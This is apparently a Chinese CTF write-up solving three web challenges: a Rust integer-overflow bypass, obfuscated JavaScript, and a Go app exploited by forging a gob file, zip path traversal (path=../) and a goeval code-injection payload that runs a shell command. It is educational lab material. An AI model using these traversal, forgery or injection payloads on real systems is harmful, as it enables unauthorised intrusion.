关联:CTF wp安全学习

【电子木鱼】

给了源码,是Rust语言写的一个功德计算的程序,功德大于十亿得到flag /upgrade路由通过传入的body.name变量对GONGDE进行各种操作,PAYLOADS数组变量包含五个不同的Payload结构体,name分别对应不同的操作 主要源码:

const PAYLOADS: &[Payload] = &[
    Payload {
        name: "Cost",
        cost: 10,
    },
    Payload {
        name: "Loan",
        cost: -1_000,
    },
    Payload {
        name: "CCCCCost",
        cost: 500,
    },
    Payload {
        name: "Donate",
        cost: 1,
    },
    Payload {
        name: "Sleep",
        cost: 0,
    },
];
 
#[post("/upgrade")]
async fn upgrade(body: web::Form<Info>) -> Json<APIResult> {
    if GONGDE.get() < 0 {
        return web::Json(APIResult {
            success: false,
            message: "功德都搞成负数了,佛祖对你很失望",
        });
    }
 
    if body.quantity <= 0 {
        return web::Json(APIResult {
            success: false,
            message: "佛祖面前都敢作弊,真不怕遭报应啊",
        });
    }
 
    if let Some(payload) = PAYLOADS.iter().find(|u| u.name == body.name) {
        let mut cost = payload.cost;
 
        if payload.name == "Donate" || payload.name == "Cost" {
            cost *= body.quantity;
        }
 
        if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }
 
        if cost != 0 {
            GONGDE.set(GONGDE.get() - cost as i32);
        }
 
...
 
        }
    }
 
    web::Json(APIResult {
        success: false,
        message: "禁止开摆",
    })
}

存在漏洞的主要是这里:

if GONGDE.get() < cost as i32 {
            return web::Json(APIResult {
                success: false,
                message: "功德不足",
            });
        }

如果cost变量能够为负数,那么就能够加GONGDE,但问题是后端对传入的body.quantity进行了校验,而Rust作为一种安全性较高的语言,又很难绕过校验。

注意到后端对cost的数值类型限定为32位int,那么就有可能存在整型溢出漏洞。如果直接传入2147483648后端会报错。但由于cost进行了乘法操作cost *= body.quantity;,当body.name=Cost时,cost变量默认为10,因此我们传入body.quantity=214748365,乘法操作后cost就会变为2147483650,int32下会溢出为负数。 (i32 能表示的最大值是2 147 483 647)

通过这段代码扣钱:

if cost != 0 {
 
            GONGDE.set(GONGDE.get() - cost as i32);
 
        }

只要cost为一个很大的负数,我们就可以给GONGDE加很多了。所以才需要对整数溢出,rust中对超过最大值的数会从负的最大值开始'环绕' .也就是2147483648会等于-2147483648。因为int32:最大:2147483647 最小:-2147483648。 payload: post传:name=Cost&quantity=214748365.

【象棋王子】

翻一下js文件,发现fuckjs代码: 到控制台执行

【BabyGo】

给了附件,是go语言源码,看不太懂就叫ai分析了。

package main
 
import (
	"encoding/gob"
	"fmt"
	"github.com/PaulXu-cn/goeval"
	"github.com/duke-git/lancet/cryptor"
	"github.com/duke-git/lancet/fileutil"
	"github.com/duke-git/lancet/random"
	"github.com/gin-contrib/sessions"
	"github.com/gin-contrib/sessions/cookie"
	"github.com/gin-gonic/gin"
	"net/http"
	"os"
	"path/filepath"
	"strings"
)
 
type User struct {
	Name  string
	Path  string
	Power string
}
 
func main() {
	r := gin.Default()
	store := cookie.NewStore(random.RandBytes(16))
	r.Use(sessions.Sessions("session", store))
	r.LoadHTMLGlob("template/*")
 
	r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})
 
	r.GET("/upload", func(c *gin.Context) {
		c.HTML(200, "upload.html", gin.H{"message": "upload me!"})
	})
 
	r.POST("/upload", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		fileutil.CreateDir(userUploadDir)
		file, err := c.FormFile("file")
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
			return
		}
		ext := file.Filename[strings.LastIndex(file.Filename, "."):]
		if ext == ".gob" || ext == ".go" {
			c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
			return
		}
		filename := userUploadDir + file.Filename
		if fileutil.IsExist(filename) {
			fileutil.RemoveFile(filename)
		}
		err = c.SaveUploadedFile(file, filename)
		if err != nil {
			c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
			return
		}
		c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
	})
 
	r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})
 
	r.GET("/backdoor", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userDir := session.Get("shallow").(string)
		if fileutil.IsExist(userDir + "user.gob") {
			file, _ := os.Open(userDir + "user.gob")
			decoder := gob.NewDecoder(file)
			var ctfer User
			decoder.Decode(&ctfer)
			if ctfer.Power == "admin" {
				eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
				if err != nil {
					fmt.Println(err)
				}
				c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
				return
			} else {
				c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
				return
			}
		} else {
			c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
			return
		}
	})
 
	r.Run(":80")
}
 

一共有五个路由(包括/uploads)

代码分析

/ 路由:

r.GET("/", func(c *gin.Context) {
		userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
		session := sessions.Default(c)
		session.Set("shallow", userDir)
		session.Save()
		fileutil.CreateDir(userDir)
		gobFile, _ := os.Create(userDir + "user.gob")
		user := User{Name: "ctfer", Path: userDir, Power: "low"}
		encoder := gob.NewEncoder(gobFile)
		encoder.Encode(user)
		if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
			c.HTML(200, "index.html", gin.H{"message": "Your path: " + userDir})
			return
		}
		c.HTML(500, "index.html", gin.H{"message": "failed to make user dir"})
	})
  • md5加ip,设置了一段临时的用户目录
  • 写入了初始的user.gob,User{Name: "ctfer", Path: userDir, Power: "low"} /upload 路由
r.GET("/upload", func(c *gin.Context) { ... })
 
r.POST("/upload", func(c *gin.Context) {
    session := sessions.Default(c)
    if session.Get("shallow") == nil {
        c.Redirect(http.StatusFound, "/")
    }
    userUploadDir := session.Get("shallow").(string) + "uploads/"
    fileutil.CreateDir(userUploadDir)
    file, err := c.FormFile("file")
    if err != nil {
        c.HTML(500, "upload.html", gin.H{"message": "no file upload"})
        return
    }
    ext := file.Filename[strings.LastIndex(file.Filename, "."):]
    if ext == ".gob" || ext == ".go" {
        c.HTML(500, "upload.html", gin.H{"message": "Hacker!"})
        return
    }
    filename := userUploadDir + file.Filename
    if fileutil.IsExist(filename) {
        fileutil.RemoveFile(filename)
    }
    err = c.SaveUploadedFile(file, filename)
    if err != nil {
        c.HTML(500, "upload.html", gin.H{"message": "failed to save file"})
        return
    }
    c.HTML(200, "upload.html", gin.H{"message": "file saved to " + filename})
})
 
  • 用户上传文件,保存在 .../uploads/。禁止 .gob.go 扩展名的直接上传。 /unzip 路由
r.GET("/unzip", func(c *gin.Context) {
		session := sessions.Default(c)
		if session.Get("shallow") == nil {
			c.Redirect(http.StatusFound, "/")
		}
		userUploadDir := session.Get("shallow").(string) + "uploads/"
		files, _ := fileutil.ListFileNames(userUploadDir)
		destPath := filepath.Clean(userUploadDir + c.Query("path"))
		for _, file := range files {
			if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
				err := fileutil.UnZip(userUploadDir+file, destPath)
				if err != nil {
					c.HTML(200, "zip.html", gin.H{"message": "failed to unzip file"})
					return
				}
				fileutil.RemoveFile(userUploadDir + file)
			}
		}
		c.HTML(200, "zip.html", gin.H{"message": "success unzip"})
	})
  • 只有登录 Session 才能继续。
  • 读取当前用户的上传目录 /tmp/<hash>/uploads/
  • 找到所有 MIME 为 zip 的文件
  • 读取 URL 参数 path,构造解压目标路径: destPath = Clean(uploadDir + path)
  • 对每个 zip 文件执行解压到 destPath
  • 解压完成后把 zip 删除 /backdoor 路由
r.GET("/backdoor", func(c *gin.Context) {
    session := sessions.Default(c)
    if session.Get("shallow") == nil {
        c.Redirect(http.StatusFound, "/")
    }
    userDir := session.Get("shallow").(string)
    if fileutil.IsExist(userDir + "user.gob") {
        file, _ := os.Open(userDir + "user.gob")
        decoder := gob.NewDecoder(file)
        var ctfer User
        decoder.Decode(&ctfer)
        if ctfer.Power == "admin" {
            eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
            if err != nil {
                fmt.Println(err)
            }
            c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
            return
        } else {
            c.HTML(200, "backdoor.html", gin.H{"message": "low power"})
            return
        }
    } else {
        c.HTML(500, "backdoor.html", gin.H{"message": "no such user gob"})
        return
    }
})
 
  • 这里就是会反序列化 user.gob文件

漏洞分析

  • 我们把路由都分析一遍后就有一条攻击思路了。一开始的user.gob文件中的Power="low",但是我们可以上传文件,那我们就像是不是可以手动伪造一个user.gob文件,改成Power="admin"呢。

  • 因为我们注意到这里

if ctfer.Power == "admin" {
            eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
            if err != nil {
                fmt.Println(err)
            }
            c.HTML(200, "backdoor.html", gin.H{"message": string(eval)})
            return
        }

只要Powe="admin",我们就可以eval执行命令了。

  • 但是文件上传页面是禁止我们上传.gob文件的,此时我们想到还有一个/unzip路由。可以把/uploads下的zip文件解压到我们指定的目录。其实他是会解压到/uploads目录下的,但是我们可以目录穿越,path=../。来指定目录。这样我们就能将user.gob文件覆盖了。

攻击

  1. 制作zip压缩包 首先我们根据源码写生成user.gob文件的脚本。
	package main
 
import (
	"encoding/gob"
	"github.com/duke-git/lancet/fileutil"
	"os"
)
 
type User struct {
	Name  string
	Path  string
	Power string
}
 
func main()  {
	userDir := "./serial/"
	fileutil.CreateDir(userDir)
	gobFile, _ := os.Create(userDir + "user.gob")
	user := User{Name: "ctfer", Path: userDir, Power: "admin"}
	encoder := gob.NewEncoder(gobFile)
	encoder.Encode(user)
 
}
	```
   
这里要下载一些模块什么的就叫ai帮忙了,总之运行脚本会得到一个文件。
 
![[file-20251205162925828.png]]
(这里面的`zip`包是后来手动打包的)
 
2. 文件上传 
我们来到`/upload`路由。
上传我们的zip
![[file-20251205163137388.png]]
3. 解压缩文件
访问`/unzip`路由,path路径指定`../`上级目录。
注意这里一开始没有指定path路径的话会默认解压到`/uploads`目录下,此时还会吧zip删除。所以第一次没操作好需要重新上传。
![[file-20251205163454802.png]]
4. 访问反序列化路由
![[file-20251205163525736.png]]
显示good说明覆盖成功。
5. 命令执行
这里我没怎么懂,但是就是很复杂的命令拼接,因为会把`/backdoor`路由下的`?pkg`参数拼接到命令执行函数中。
答案是:

“os/exec” fmt” )

func init(){ cmd:=exec.Command(“cat”,“/ffflllaaaggg”) out,_:=cmd.CombinedOutput() fmt.Println(string(out)) }

var(a=“1

把这段url编码后传入。
```http
?pkg=%22os%2Fexec%22%0A%20fmt%22%0A%29%0A%0Afunc%09init()%7B%0Acmd%3A%3Dexec.Command(%22cat%22%2C%22%2Fffflllaaaggg%22)%0Aout%2C_%3A%3Dcmd.CombinedOutput()%0Afmt.Println(string(out))%0A%7D%0A%0Avar(a%3D%221